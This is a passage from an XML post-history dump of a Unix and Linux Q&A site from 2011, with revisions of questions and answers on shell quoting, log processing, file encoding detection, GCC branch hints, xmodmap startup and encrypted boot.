line ; do&#xD;&#xA;    	if [ $curline -ge $processed ] ; then&#xD;&#xA;    		echo processing $line&#xD;&#xA;    		process_line &quot;$line&quot;&#xD;&#xA;    	fi&#xD;&#xA;    	curline=$(($curline+1))&#xD;&#xA;    done &lt; ${logfile}&#xD;&#xA;    &#xD;&#xA;    echo $curline &gt; $statefile&#xD;&#xA;&#xD;&#xA;Basically, it saves up to where it processed input in a separate file (`$statefile`), and processes the input line by line from that point (skipping the already processed ones).&#xD;&#xA;&#xD;&#xA;This would need a bit more error handling obviously, and if the input is large, it's not optimal. (Could be made better by saving a byte offset and seeking, or using `dd bs=1 skip=$already_read count=$(($size-$already_read))` to pipe out to another process rather than doing things line by line, but I'd go with `perl` if that kind of optimization is necessary.)&#xD;&#xA;&#xD;&#xA;As it is, the script will process lines twice if it's interrupted. You can limit the amount of &quot;replay&quot; by updating the state file after each line rather than once at the end.&#xD;&#xA;&#xD;&#xA;If you both process the logs and rotate them, you'll need to be careful with those state files. They would need to be rotated too, and the script run once after rotation to process the last lines of output.&#xD;&#xA;&#xD;&#xA;There is one thing that this approach does not deal with easily: partial lines. If the application is writing while the script runs, there is a chance that the script will see a partial last line. It won't be able to tell the difference, so it will record it as having been processed. (This is a problem you'll need to deal with with pretty much any approach.)&#xD;&#xA;&#xD;&#xA;This could be avoided by having an EOL marker in your log file format, and checking for that before processing the line. But that's not very pretty.&#xD;&#xA;&#xD;&#xA;Rather than doing the processing in `bash` in the script itself, you could use it like this (replace `process_line` with a plain `echo`):&#xD;&#xA;&#xD;&#xA;    $ ./logger /var/log/app12.log | ./analyzer --logtype=app12&#xD;&#xA;&#xD;&#xA;`./analyzer` will get the data as input.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28169" PostHistoryTypeId="5" PostId="11580" RevisionGUID="6d140ec3-a4b9-4469-8c05-01d83a0fea00" CreationDate="2011-04-19T07:07:55.190" UserId="885" Comment="double quote consistency, spotted by Chris Johnsen" Text="``WHICH=&quot;`which which`&quot;`` is exactly equivalent to ``WHICH=`which which` `` or to ``WHICH=$(which which)`` or to ``WHICH=&quot;$(which which)&quot;``. All of these run the command `which which`, and capture its output (as a string) into the variable `WHICH`, stripping off any final newline from the output. Similarly, ``AWK=&quot;`${WHICH} gawk`&quot;`` could be written ``AWK=`$WHICH gawk` ``.&#xD;&#xA;&#xD;&#xA;Normally, command substitutions (`` `command` `` or `$(command)`) should be surrounded by double quotes, in case the result contains whitespace or shell wildcards (`*?[\`). This is because the result of command substitutions, like variable substitutions (`$foo` or `${foo}`), undergoes word splitting and filename generation (a.k.a. globbing). However, this does not apply to simple variable assignments: since the context requires a single word, the result of the substitution is taken as-is. So assignments are an exception to the general rule that you should double-quote variable and command substitutions. (Note that this exception does not extend to `export var=&quot;$value&quot;`, which does require the double quotes.) But it's a reasonable shell programming practice to always the double quotes — omit them only if you know you must, rather than using them only if you know you must.&#xD;&#xA;&#xD;&#xA;In the (unlikely) case `which which` returns a path with spaces or wildcards, `${WHICH}` should be double-quoted in the lines below, i.e. one of&#xD;&#xA;&#xD;&#xA;    AWK=&quot;`&quot;${WHICH}&quot; gawk`&quot;&#xD;&#xA;    AWK=`&quot;${WHICH}&quot; gawk`&#xD;&#xA;    AWK=&quot;$(&quot;${WHICH}&quot; gawk)&quot;&#xD;&#xA;    AWK=$(&quot;${WHICH}&quot; gawk)&#xD;&#xA;&#xD;&#xA;(Using `$(…)` is recommended over `` `…` ``, because of the difficulty of getting the nested quoting right inside `` `…` ``. However very old shells don't recognize `$(…)`, so `` `…` `` is needed for scripts that must run on older systems.)&#xD;&#xA;&#xD;&#xA;See also [$VAR vs ${VAR} and to quote or not to quote](http://unix.stackexchange.com/questions/4899/var-vs-var-and-to-quote-or-not-to-quote)&#xD;&#xA;" />
  <row Id="28170" PostHistoryTypeId="2" PostId="11601" RevisionGUID="8ce89cf5-3a83-4a07-ab9f-90956d26aed5" CreationDate="2011-04-19T07:11:54.953" UserId="5842" Text="They are compiler hints for GCC. They're used in conditionals to tell the compiler if a branch is likely to be taken or not. It can help the compiler laying down the code in such a way that's optimal for the most frequent outcome.&#xD;&#xA;&#xD;&#xA;They are used like this:&#xD;&#xA;&#xD;&#xA;    if (likely(unicorns)) {&#xD;&#xA;      // the compiler will try and make the code layout optimal for the case&#xD;&#xA;      // where unicorns != 0, i.e. where this block is run&#xD;&#xA;      most_likely_action();&#xD;&#xA;    } else {&#xD;&#xA;      // this block is less frequently used&#xD;&#xA;      corner_case();&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;It should be used with great care (i.e. based on actual branch profiling results). A wrong hint can degrade performance (obviously)." />
  <row Id="28171" PostHistoryTypeId="5" PostId="11597" RevisionGUID="f18d0a65-2dbf-4b6f-a774-d20c5a02dbc9" CreationDate="2011-04-19T07:12:29.463" UserId="5842" Comment="code formatting only" Text="What is the between likely and unlikely calls in Kernel. While searching through the kernel source i found these statements.&#xD;&#xA; &#xD;&#xA;    # define likely(x)      __builtin_expect(!!(x), 1)&#xD;&#xA;    # define unlikely(x)    __builtin_expect(!!(x), 0)&#xD;&#xA;&#xD;&#xA;Could somebody shed some light into it?" />
  <row Id="28172" PostHistoryTypeId="24" PostId="11597" RevisionGUID="f18d0a65-2dbf-4b6f-a774-d20c5a02dbc9" CreationDate="2011-04-19T07:12:29.463" Comment="Proposed by 5842 approved by 885 edit id of 283" />
  <row Id="28173" PostHistoryTypeId="5" PostId="11565" RevisionGUID="2e8be06f-c391-4e45-a01f-0a3b690b82aa" CreationDate="2011-04-19T07:14:50.233" UserId="1925" Comment="edited body" Text="On most international layouts, &lt;kbd&gt;Alt_R&lt;/kbd&gt; becomes an &lt;kbd&gt;AltGr&lt;/kbd&gt; (alternate group?) key, otherwise known as a 3rd level chooser that gives you access to alternate letters, symbols, accents etc. Even though the keycode you are seeing is not properly remapped to this, I suspect the layout is EXPECTING it to be is hiccuping on the keycode.&#xD;&#xA;&#xD;&#xA;I suggest you look through the other tabs of gnome keyboard options and manually setup an AltGr key, maybe as that one, so the international layout will work to full effect." />
  <row Id="28174" PostHistoryTypeId="2" PostId="11602" RevisionGUID="1e84c700-e821-4b8c-a09e-4c25d4037e92" CreationDate="2011-04-19T07:16:48.760" UserId="2343" Text="I have several `.htm` files which open in Gedit without any warning/error, but when I open these same file in `Jedit`, it warns me of invalid UTF-8 encoding...  &#xD;&#xA;&#xD;&#xA;The html meta tag states &quot;charset=ISO-8859-1&quot;  &#xD;&#xA;Jedit allows a *List of fallback encodings* and a *List of encoding auto-detectors* (currently &quot;BOM XML-PI&quot;), so my immediate problem has been resolved. but this got me thinking about: &quot;What if the meta data wasn't there?&quot;  &#xD;&#xA;&#xD;&#xA;When the encoding info is just not available, is there a CLI program which can make a &quot;best-guess&quot; of which encodings may apply?  &#xD;&#xA;&#xD;&#xA;And, although it is a slightly differnt issue; is there a CLI program which tests the validity of a *known* encoding? &#xD;&#xA; " />
  <row Id="28175" PostHistoryTypeId="1" PostId="11602" RevisionGUID="1e84c700-e821-4b8c-a09e-4c25d4037e92" CreationDate="2011-04-19T07:16:48.760" UserId="2343" Text="How can I test the encoding of a text file... Is it valid, and what is it?" />
  <row Id="28176" PostHistoryTypeId="3" PostId="11602" RevisionGUID="1e84c700-e821-4b8c-a09e-4c25d4037e92" CreationDate="2011-04-19T07:16:48.760" UserId="2343" Text="étextöprocessingàéutilitiesàéencodingà" />
  <row Id="28177" PostHistoryTypeId="2" PostId="11603" RevisionGUID="9dc5d8a2-024c-45eb-9afe-fa295b98dffc" CreationDate="2011-04-19T07:21:06.433" UserId="6730" Text="In reality, provided you use the server version of each software, not a lot of difference. They all fall from the same tree. its when you start adding on the x11 and desktop environments that they start to change preformace wise. (real web servers should not have the X11)&#xD;&#xA;&#xD;&#xA;Red Hat has a long respected history, i would go with that.&#xD;&#xA;Also has better security out of the box (with commercial support? dont know where they stand these days)&#xD;&#xA;&#xD;&#xA;you would get the best performance out of Gentoo but it took me 6 months to learn that bloody brilliant curse of a distro." />
  <row Id="28178" PostHistoryTypeId="2" PostId="11604" RevisionGUID="6779c25f-44a8-424e-a47a-9a3329e02335" CreationDate="2011-04-19T07:22:12.487" UserId="6215" Text="I created a file `~/.Xmodmap` with my mapping commands. I thought that it will be automatically launched after login but it's not. So I have to always run after login the command&#xD;&#xA;&#xD;&#xA;`$ xmodmap .Xmodmap`&#xD;&#xA;&#xD;&#xA;Is it possible to automatize this process?&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="28179" PostHistoryTypeId="1" PostId="11604" RevisionGUID="6779c25f-44a8-424e-a47a-9a3329e02335" CreationDate="2011-04-19T07:22:12.487" UserId="6215" Text="run xmodmap commands after login" />
  <row Id="28180" PostHistoryTypeId="3" PostId="11604" RevisionGUID="6779c25f-44a8-424e-a47a-9a3329e02335" CreationDate="2011-04-19T07:22:12.487" UserId="6215" Text="éxmodmapà" />
  <row Id="28181" PostHistoryTypeId="2" PostId="11605" RevisionGUID="3702f360-1ffe-488e-bd26-f42447970969" CreationDate="2011-04-19T07:26:49.283" UserId="3169" Text="Normally you would be able to use [statvfs](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/sys/statvfs.h.html) or [pathconf](http://pubs.opengroup.org/onlinepubs/009695399/functions/pathconf.html), but they don't seem to support any way to find out that piece of information.&#xD;&#xA;&#xD;&#xA;Apparently such a feature is [being discussed](http://www.opengroup.org/austin/docs/austin_362.txt) for a future POSIX standard&#xD;&#xA;&#xD;&#xA;&gt; we will also file some aardvarks for a pathconf enhancement&#xD;&#xA;to return the granularity of timestamps on a per path basis.&#xD;&#xA;&#xD;&#xA;Unfortunately, I can't see any clean way to do that today, not even in an OS-specific manner." />
  <row Id="28182" PostHistoryTypeId="2" PostId="11606" RevisionGUID="a7bb0c74-b005-422c-856b-a36dcdffd42a" CreationDate="2011-04-19T07:31:12.507" UserId="4949" Text="Yes, but exactly how depends on which shell you're using.&#xD;&#xA;&#xD;&#xA;In case of `bash`, edit `~/.bashrc` and add a line saying  &#xD;&#xA;`xmodmap ~/.Xmodmap`  &#xD;&#xA;&#xD;&#xA;If you don't have a `~/.bashrc` yet, create one and start it with  &#xD;&#xA;&#xD;&#xA;    #!/bin/bash &#xD;&#xA;    if [ -f /etc/bash.bashrc ] ; then&#xD;&#xA;        . /etc/bash.bashrc&#xD;&#xA;    fi &#xD;&#xA;    &#xD;&#xA;    xmodmap ~/.Xmodmap&#xD;&#xA;&#xD;&#xA;If you're using a different login shell such as `tcsh` or `dash` or `zsh`, you'll need to  check its manpage to see what files it reads and executes on startup and add the command there. If you're unsure what login shell you're using, the `SHELL` environment variable should have been set, and you can check that instead with `echo $SHELL` ." />
  <row Id="28183" PostHistoryTypeId="6" PostId="11604" RevisionGUID="1fdfc0e8-d133-4a44-a740-2802077a836d" CreationDate="2011-04-19T07:31:33.240" UserId="4949" Comment="edited tags" Text="éshellàéxmodmapà" />
  <row Id="28184" PostHistoryTypeId="2" PostId="11607" RevisionGUID="d41fd7eb-c6f8-43fd-ba82-2a89ad760faa" CreationDate="2011-04-19T07:35:56.737" UserId="1170" Text="the `file` command makes &quot;best-guesses&quot; about the encoding.&#xD;&#xA;&#xD;&#xA;I created two files containing german umlauts. one encoded in utf-8, aptly named utf-8, and one encoded in iso-8859-1, named iso-8859-1.&#xD;&#xA;&#xD;&#xA;    $ file -i *&#xD;&#xA;    iso-8859-1: text/plain; charset=iso-8859-1&#xD;&#xA;    utf-8:      text/plain; charset=utf-8&#xD;&#xA;" />
  <row Id="28185" PostHistoryTypeId="5" PostId="11607" RevisionGUID="4e097780-e3d3-4b81-94aa-ab5bcb661049" CreationDate="2011-04-19T07:41:33.847" UserId="1170" Comment="added 80 characters in body" Text="the `file` command makes &quot;best-guesses&quot; about the encoding. Use the `-i` parameter to force `file` to print information about the encoding.&#xD;&#xA;&#xD;&#xA;I created two files containing german umlauts. one encoded in utf-8, aptly named utf-8, and one encoded in iso-8859-1, named iso-8859-1.&#xD;&#xA;&#xD;&#xA;    $ file -i *&#xD;&#xA;    iso-8859-1: text/plain; charset=iso-8859-1&#xD;&#xA;    utf-8:      text/plain; charset=utf-8&#xD;&#xA;" />
  <row Id="28186" PostHistoryTypeId="4" PostId="11363" RevisionGUID="28260af0-8c0f-4179-a815-dd902553212d" CreationDate="2011-04-19T07:45:15.983" UserId="4293" Comment="Fix typo in title" Text="Where to download Wolfenstein: Enemy Territory for linux?" />
  <row Id="28187" PostHistoryTypeId="24" PostId="11363" RevisionGUID="28260af0-8c0f-4179-a815-dd902553212d" CreationDate="2011-04-19T07:45:15.983" Comment="Proposed by 4293 approved by 29 edit id of 284" />
  <row Id="28188" PostHistoryTypeId="2" PostId="11608" RevisionGUID="4e3e5c06-da53-44c7-b62d-80a26d3e2b46" CreationDate="2011-04-19T07:55:52.367" UserId="36" Text="I would recommend Centos, however you want commercial support. In which case your best and most expensive option is probably Red Hat.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28189" PostHistoryTypeId="2" PostId="11609" RevisionGUID="bfc9e75b-4f3a-465a-ade9-38c22bab754d" CreationDate="2011-04-19T07:58:22.673" UserId="272" Text="Red Hat is the market leader for a reason, has great Java support and (imho) is not really that expensive. &#xD;&#xA;&#xD;&#xA;That said, MongoDB is a bit of a novelty and you will not find that in default RHEL. It might be in Ubuntu / Debian, but I don't know about that. If it is, you can probably get commercial support on it through Canonical by using a supported version of Ubuntu.&#xD;&#xA;&#xD;&#xA;CentOS is just RHEL without commercial support and significant lag in patching (they have to wait for Red Hat to patch something first and then get it through their own QA)." />
  <row Id="28190" PostHistoryTypeId="2" PostId="11610" RevisionGUID="b8f1ec2a-98f0-4193-9799-9d70b7ba7efa" CreationDate="2011-04-19T07:59:53.813" UserId="36" Text="I found OpenOffice (&amp; other apps) disk intensive, so used the brute force approach of buying an SSD and placing appropriate partitions on it.&#xD;&#xA;" />
  <row Id="28191" PostHistoryTypeId="5" PostId="11601" RevisionGUID="b10d67f3-250a-44bb-92b1-18994430f47a" CreationDate="2011-04-19T08:05:13.760" UserId="5842" Comment="added 15 characters in body" Text="They are compiler hints for GCC. They're used in conditionals to tell the compiler if a branch is likely to be taken or not. It can help the compiler laying down the code in such a way that's optimal for the most frequent outcome.&#xD;&#xA;&#xD;&#xA;They are used like this:&#xD;&#xA;&#xD;&#xA;    if (likely(some_condition)) {&#xD;&#xA;      // the compiler will try and make the code layout optimal for the case&#xD;&#xA;      // where some_condition is true, i.e. where this block is run&#xD;&#xA;      most_likely_action();&#xD;&#xA;    } else {&#xD;&#xA;      // this block is less frequently used&#xD;&#xA;      corner_case();&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;It should be used with great care (i.e. based on actual branch profiling results). A wrong hint can degrade performance (obviously)." />
  <row Id="28192" PostHistoryTypeId="2" PostId="11611" RevisionGUID="d19f5b8b-7d8e-4977-a59a-0195a0596f6c" CreationDate="2011-04-19T08:11:05.393" UserId="4843" Text="If you have done crypting with cryptsetup, then you can change the key as:&#xD;&#xA;&#xD;&#xA;cryptsetup luksChangeKey &lt;device&gt; [&lt;key file&gt;]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28193" PostHistoryTypeId="5" PostId="11566" RevisionGUID="2a42fec8-b3b0-417b-bf6a-42e79b1c1a6b" CreationDate="2011-04-19T08:13:56.983" UserId="4812" Comment="added 1275 characters in body" Text="I was assigned an Ubuntu desktop with some stuff already on it. I did not reformat it, but atached a mini-PCI wirless card over an PCI to mini-PCI adapter. I manually built the madwifi driver and installed it's .ko files.&#xD;&#xA;&#xD;&#xA;Now `lshw -C network` always shows the card, but it sometimes shows it as 'unclaimed' and sometimes it shows with the madwifi(i.e. ath_pci) driver. Any idea what can cause this effect?&#xD;&#xA;&#xD;&#xA;EDIT: Snippet from /var/log/kern.log, on failed load.&#xD;&#xA;&#xD;&#xA;    Apr 19 11:47:21 manju-desktop kernel: [    9.935304] ath_hal: module license 'Proprietary' taints kernel.&#xD;&#xA;    Apr 19 11:47:21 manju-desktop kernel: [    9.936614] ath_hal: 0.9.18.0 (AR5210, AR5211, AR5212, RF5111, RF5112, RF2413, RF5413)&#xD;&#xA;    Apr 19 11:47:21 manju-desktop kernel: [    9.958671] wlan: svn r4133 (branch madwifi-0.9.4)&#xD;&#xA;    Apr 19 11:47:21 manju-desktop kernel: [    9.975867] ath_pci: svn r4133 (branch madwifi-0.9.4)&#xD;&#xA;    Apr 19 11:47:21 manju-desktop kernel: [    9.975940] ath_pci 0000:02:04.0: PCI INT A -&gt; GSI 17 (level, low) -&gt; IRQ 17&#xD;&#xA;    Apr 19 11:47:21 manju-desktop kernel: [    9.976024] ath_pci: HAL doesn't support MAC revision 0xffffffff&#xD;&#xA;    Apr 19 11:47:21 manju-desktop kernel: [    9.976037] ath_pci 0000:02:04.0: PCI INT A disabled&#xD;&#xA;&#xD;&#xA;Output of lshw -C network&#xD;&#xA;&#xD;&#xA;      *-network:1 UNCLAIMED&#xD;&#xA;           description: Ethernet controller&#xD;&#xA;           product: AR5413 802.11abg NIC&#xD;&#xA;           vendor: Atheros Communications Inc.&#xD;&#xA;           physical id: 4&#xD;&#xA;           bus info: pci@0000:02:04.0&#xD;&#xA;           version: 01&#xD;&#xA;           width: 32 bits&#xD;&#xA;           clock: 33MHz&#xD;&#xA;           capabilities: pm cap_list&#xD;&#xA;           configuration: latency=168 maxlatency=12 mingnt=10&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28194" PostHistoryTypeId="5" PostId="11601" RevisionGUID="be5388c5-ceee-4a7c-b751-02b3651d4b7f" CreationDate="2011-04-19T08:19:07.060" UserId="5842" Comment="added 769 characters in body" Text="They are compiler hints for GCC. They're used in conditionals to tell the compiler if a branch is likely to be taken or not. It can help the compiler laying down the code in such a way that's optimal for the most frequent outcome.&#xD;&#xA;&#xD;&#xA;They are used like this:&#xD;&#xA;&#xD;&#xA;    if (likely(some_condition)) {&#xD;&#xA;      // the compiler will try and make the code layout optimal for the case&#xD;&#xA;      // where some_condition is true, i.e. where this block is run&#xD;&#xA;      most_likely_action();&#xD;&#xA;    } else {&#xD;&#xA;      // this block is less frequently used&#xD;&#xA;      corner_case();&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;It should be used with great care (i.e. based on actual branch profiling results). A wrong hint can degrade performance (obviously).&#xD;&#xA;&#xD;&#xA;Some examples of how the code can be optimized are easily found by searching for `GCC __builtin_expect`. This blog post [gcc optimisation: __builtin_expect](http://techblog.zabuchy.net/2006/gcc-optimisation-__builtin_expect/) for example details a disassembly with it.&#xD;&#xA;&#xD;&#xA;The kind of optimizations that can be done is very processor-specific. The general idea is that often, processors will run code faster if it does not branch/jump all over the place. The more linear it is, and the more predictable the branches are, the faster it will run. (This is especially true for processors with deep pipelines for example.)&#xD;&#xA;&#xD;&#xA;So the compiler will emit the code such that the most likely branch will not involve a jump if that's what the target CPU prefers, for instance." />
  <row Id="28195" PostHistoryTypeId="2" PostId="11612" RevisionGUID="84d36802-e190-48d4-b51d-8ad97436b4e1" CreationDate="2011-04-19T08:19:28.260" UserId="3645" Text="I'd like to run some unit tests in a barebone `chroot` jail on Solaris. **There's no `su` or `sudo`**, and a copy of `su` (with `libpam.so.1`) just returns exit code 1 without any output, with or without parameters. Is there some easy way to **run Bash scripts as a non-root user** on such a system? Maybe setuid or a wrapper script?" />
  <row Id="28196" PostHistoryTypeId="1" PostId="11612" RevisionGUID="84d36802-e190-48d4-b51d-8ad97436b4e1" CreationDate="2011-04-19T08:19:28.260" UserId="3645" Text="Alternative to su/sudo on barebone system" />
  <row Id="28197" PostHistoryTypeId="3" PostId="11612" RevisionGUID="84d36802-e190-48d4-b51d-8ad97436b4e1" CreationDate="2011-04-19T08:19:28.260" UserId="3645" Text="ébashàésuàébareboneà" />
  <row Id="28198" PostHistoryTypeId="2" PostId="11613" RevisionGUID="f9534099-05d9-49fb-84f9-0cbae1ea06a5" CreationDate="2011-04-19T08:34:08.230" UserId="4843" Text="I want to boot the Linux from the /boot partition, and also want to encrypt this /boot partition.&#xD;&#xA;&#xD;&#xA;[ AFAIK, Grub is unable to find the kernel and initrd from an truecrypted partition or cryptsetup encrypted boot partition. ]&#xD;&#xA;&#xD;&#xA;Is there any way to do so ?" />
  <row Id="28199" PostHistoryTypeId="1" PostId="11613" RevisionGUID="f9534099-05d9-49fb-84f9-0cbae1ea06a5" CreationDate="2011-04-19T08:34:08.230" UserId="4843" Text="Encrypted Booting" />
  <row Id="28200" PostHistoryTypeId="3" PostId="11613" RevisionGUID="f9534099-05d9-49fb-84f9-0cbae1ea06a5" CreationDate="2011-04-19T08:34:08.230" UserId="4843" Text="ésecurityàébootà" />
  <row Id="28201" PostHistoryTypeId="5" PostId="11604" RevisionGUID="d9a27bc6-82e8-4f42-9f10-0121643f243b" CreationDate="2011-04-19T08:42:58.203" UserId="6215" Comment="added 13 characters in body; added 1 characters in body" Text="I created a file `~/.Xmodmap` with my mapping commands. I thought that it will be automatically launched after login (and restart) but it's not. So I have to always run after login the command&#xD;&#xA;&#xD;&#xA;`$ xmodmap .Xmodmap`&#xD;&#xA;&#xD;&#xA;Is it possible to automatize this process?&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="28202" PostHistoryTypeId="25" PostId="11597" RevisionGUID="b1a173d5-7675-4493-bb9e-a5ed8c94c626" CreationDate="2011-04-19T09:09:09.857" Comment="http://twitter.com/#!/StackUnix/status/60268689097895936" />
  <row Id="28203" PostHistoryTypeId="2" PostId="11614" RevisionGUID="87bf7b55-4acd-4919-9b27-7c68f76413a8" CreationDate="2011-04-19T09:15:12.577" UserId="6732" Text="I just wanted say that don't remove the other installed kernels, you may need one of them one day.&#xD;&#xA;It actually happened to me, I had to update my ubuntu, and it installed a new kernel version after that.&#xD;&#xA;reboot choosing the new kernel, it crashs! (I guess the my VGA driver wasn't compatible with the new kernel version or something like that).&#xD;&#xA;Any way I rebooted choosing the old kernel, and it start working fine.&#xD;&#xA;&#xD;&#xA;My point is leave at least one that is working besides the newly installed one, you may gonna need it one day." />
  <row Id="28204" PostHistoryTypeId="5" PostId="11380" RevisionGUID="532b71aa-f50d-47fb-9ab6-fb58370686f9" CreationDate="2011-04-19T09:25:53.720" UserId="3645" Comment="Result; edited body" Text="Is there a more Bashist way than `echo &quot;$PWD//&quot; | sed -e 's#//\+#/#g'` to replace repeating slashes with a single one?&#xD;&#xA;&#xD;&#xA;Thanks [Steven D][1], now there's a fully working function to find the *longest common path of two or more paths*: [path_common][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/11380/collapse-repeating-characters/11390#11390&#xD;&#xA;  [2]: https://github.com/l0b0/tilde/blob/master/.bash_aliases#L117" />
  <row Id="28205" PostHistoryTypeId="2" PostId="11615" RevisionGUID="77567f54-1b75-462b-af5f-75d37da47931" CreationDate="2011-04-19T09:29:26.633" UserId="6215" Text="I have a scanned contract and I need to change only a few names and dates in the contract.&#xD;&#xA;&#xD;&#xA;It's easy to scan the document but impossible to ocr the document and open in *.doc format.&#xD;&#xA;&#xD;&#xA;Is there an application that is able to reliably change the dates and names in scanned image,&#xD;&#xA;so I can print it with other names and dates?&#xD;&#xA;&#xD;&#xA;thank you for help" />
  <row Id="28206" PostHistoryTypeId="1" PostId="11615" RevisionGUID="77567f54-1b75-462b-af5f-75d37da47931" CreationDate="2011-04-19T09:29:26.633" UserId="6215" Text="Writing to picture which is scanned document" />
  <row Id="28207" PostHistoryTypeId="3" PostId="11615" RevisionGUID="77567f54-1b75-462b-af5f-75d37da47931" CreationDate="2011-04-19T09:29:26.633" UserId="6215" Text="étextöprocessingàéimageöeditoràéimageömanipulationàéocrà" />
  <row Id="28208" PostHistoryTypeId="5" PostId="11379" RevisionGUID="ce8e2b92-05a0-4753-9547-1db124faeaf6" CreationDate="2011-04-19T09:44:59.373" UserId="3645" Comment="added 196 characters in body" Text="Is it possible to refer to indexes in `$@`? I can't find any reference to use like the following anywhere in [GrayCat's wiki][1], and the [Advanced Scripting Guide][2] and [others][3] assign this to a different variable before modifying that instead.&#xD;&#xA;&#xD;&#xA;    $ echo ${@[0]}&#xD;&#xA;    -bash: ${@[0]}: bad substitution&#xD;&#xA;&#xD;&#xA;The goal is [DRY][4]: The first argument is used for one thing, and the rest for something else, and I'd like to avoid duplicating either the code to normalize, the `$@` array, or to create a separate function for this (although at this point it's probably the easiest way out).&#xD;&#xA;&#xD;&#xA;Clarification: The object was to modify the values of the *variable-length* `$@` to make [the code][5] easier to debug. The current version is a bit too hacky for my liking, although it works even for bizarre paths like&#xD;&#xA;&#xD;&#xA;    $'--$`\! *@ \a\b\e\E\f\r\t\v\\\&quot;\' \n'&#xD;&#xA;&#xD;&#xA;**Update**: Looks like this isn't possible. [The code][6] now uses both code and data duplication, but at least it works.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mywiki.wooledge.org/EnglishFrontPage&#xD;&#xA;  [2]: http://tldp.org/LDP/abs/html/internalvariables.html#ARGLIST&#xD;&#xA;  [3]: http://www.notesbit.com/index.php/scripts-unix/bash-script-passing-arguments-to-the-shell-script-unixlinux/&#xD;&#xA;  [4]: https://secure.wikimedia.org/wikipedia/en/wiki/Don%27t_repeat_yourself&#xD;&#xA;  [5]: https://github.com/l0b0/tilde/commit/ca080f72af6f7c609060655ccaf8a8391bb382c3&#xD;&#xA;  [6]: https://github.com/l0b0/tilde/blob/master/.bash_aliases#L117" />
  <row Id="28209" PostHistoryTypeId="2" PostId="11616" RevisionGUID="fb6847fc-a4d7-4561-94b9-e36fbcfcd21e" CreationDate="2011-04-19T09:56:14.110" UserId="2343" Text="*bash:*  &#xD;&#xA;var=&quot;$PWD///&quot;; var=&quot;${var//\/\//}&quot; ; echo &quot;$var&quot;" />
  <row Id="28210" PostHistoryTypeId="5" PostId="11616" RevisionGUID="62cf5eba-ec09-42b8-b4d7-e96ab9106a01" CreationDate="2011-04-19T10:01:24.717" UserId="2343" Comment="added 72 characters in body; added 5 characters in body; deleted 10 characters in body; deleted 10 characters in body; added 2 characters in body; added 1 characters in body; added 2 characters in body; deleted 1 characters in body" Text="This *is* &quot;bash-only&quot;    &#xD;&#xA;it does *not* need &quot;extglob&quot; to be set.  &#xD;&#xA;&#xD;&#xA;var=&quot;$PWD///&quot;; var=&quot;${var//\/\//}&quot; ; echo &quot;$var&quot;" />
  <row Id="28211" PostHistoryTypeId="5" PostId="11544" RevisionGUID="f98fa1e3-1077-4885-85d5-6a2a7d4367f3" CreationDate="2011-04-19T10:14:02.333" UserId="5164" Comment="deleted 4 characters in body" Text="According to the [Filesystem Hierarchy Standard](http://www.pathname.com/fhs/pub/fhs-2.3.html), `/opt` is for &quot;the installation of add-on application software packages&quot;.  `/usr/local` is &quot;for use by the system administrator when installing software locally&quot;.  These use cases seem pretty similar.  Software not included with distributions usually is configured by default to install in either `/usr/local` or `/opt` with no particular rhyme or reason as to which they chose.&#xD;&#xA;&#xD;&#xA;Is there some difference I'm missing, or do both do the same thing, but exist for historical reasons?" />
  <row Id="28212" PostHistoryTypeId="2" PostId="11617" RevisionGUID="28a37016-dae7-4290-a3b5-63a916638dde" CreationDate="2011-04-19T10:19:53.490" UserId="3046" Text="Yes, using Grub2 you can do this: It has been patched to support not only AES, Twofish, Serpent and CAST5 encryption, but a number of hashing routines such as SHA1, SHA256, SHA512, and RIPEMD160. There is also support for the LUKS on-disk encryption format. &#xD;&#xA;&#xD;&#xA;Check out [**this xercestech post**][1] for a full manual walkthrough, but in a nutshell everything is encrypted except for the actual bootloader, which you could have on a USB stick if you really wanted to stay safe.&#xD;&#xA;&#xD;&#xA;The LUKS patches to support grub are [**here.**][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://xercestech.com/full-system-encryption-for-linux.geek&#xD;&#xA;  [2]: http://michael.gorven.za.net/bzr/grub/luks." />
  <row Id="28213" PostHistoryTypeId="5" PostId="11381" RevisionGUID="a6f69e49-8984-4aeb-8f12-8baeae66676c" CreationDate="2011-04-19T10:32:54.390" UserId="2343" Comment="added 4 characters in body; added 8 characters in body" Text="I don't quite know why you don't just use $1 $2, etc.. &#xD;&#xA;but..  This may suit your needs.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ script &quot;ed    it&quot; &quot;cat/dog&quot;  33.2  \D  &#xD;&#xA;&#xD;&#xA;      echo &quot;-------- Either use 'indirection'&quot;&#xD;&#xA;      for ((i=1;i&lt;=${#@};i++)) ;do&#xD;&#xA;        # My original: eval echo \&quot;\${$i}\&quot; ...works, but as *pepoluan* &#xD;&#xA;        #+ has pointed out: echo &quot;${!i}&quot; ...is better.&#xD;&#xA;        echo &quot;${!i}&quot;&#xD;&#xA;      done&#xD;&#xA;      echo &quot;-------- OR use an array&quot;&#xD;&#xA;      array=(&quot;$@&quot;)&#xD;&#xA;      for ((i=0;i&lt;${#array[@]};i++)) ;do&#xD;&#xA;        echo &quot;${array[$i]}&quot; &#xD;&#xA;      done&#xD;&#xA;      echo &quot;-------- OR use 'set'&quot;&#xD;&#xA;      set  &quot;$@&quot;&#xD;&#xA;      echo &quot;$1&quot;&#xD;&#xA;      echo &quot;$2&quot;&#xD;&#xA;      echo &quot;$3&quot;&#xD;&#xA;      echo &quot;$4&quot;&#xD;&#xA;&#xD;&#xA;output &#xD;&#xA;&#xD;&#xA;      -------- Either use 'indirection'&#xD;&#xA;      ed    it&#xD;&#xA;      cat/dog&#xD;&#xA;      33.2&#xD;&#xA;      D&#xD;&#xA;      -------- OR use an array&#xD;&#xA;      ed    it&#xD;&#xA;      cat/dog&#xD;&#xA;      33.2&#xD;&#xA;      D&#xD;&#xA;      -------- OR use 'set'&#xD;&#xA;      ed    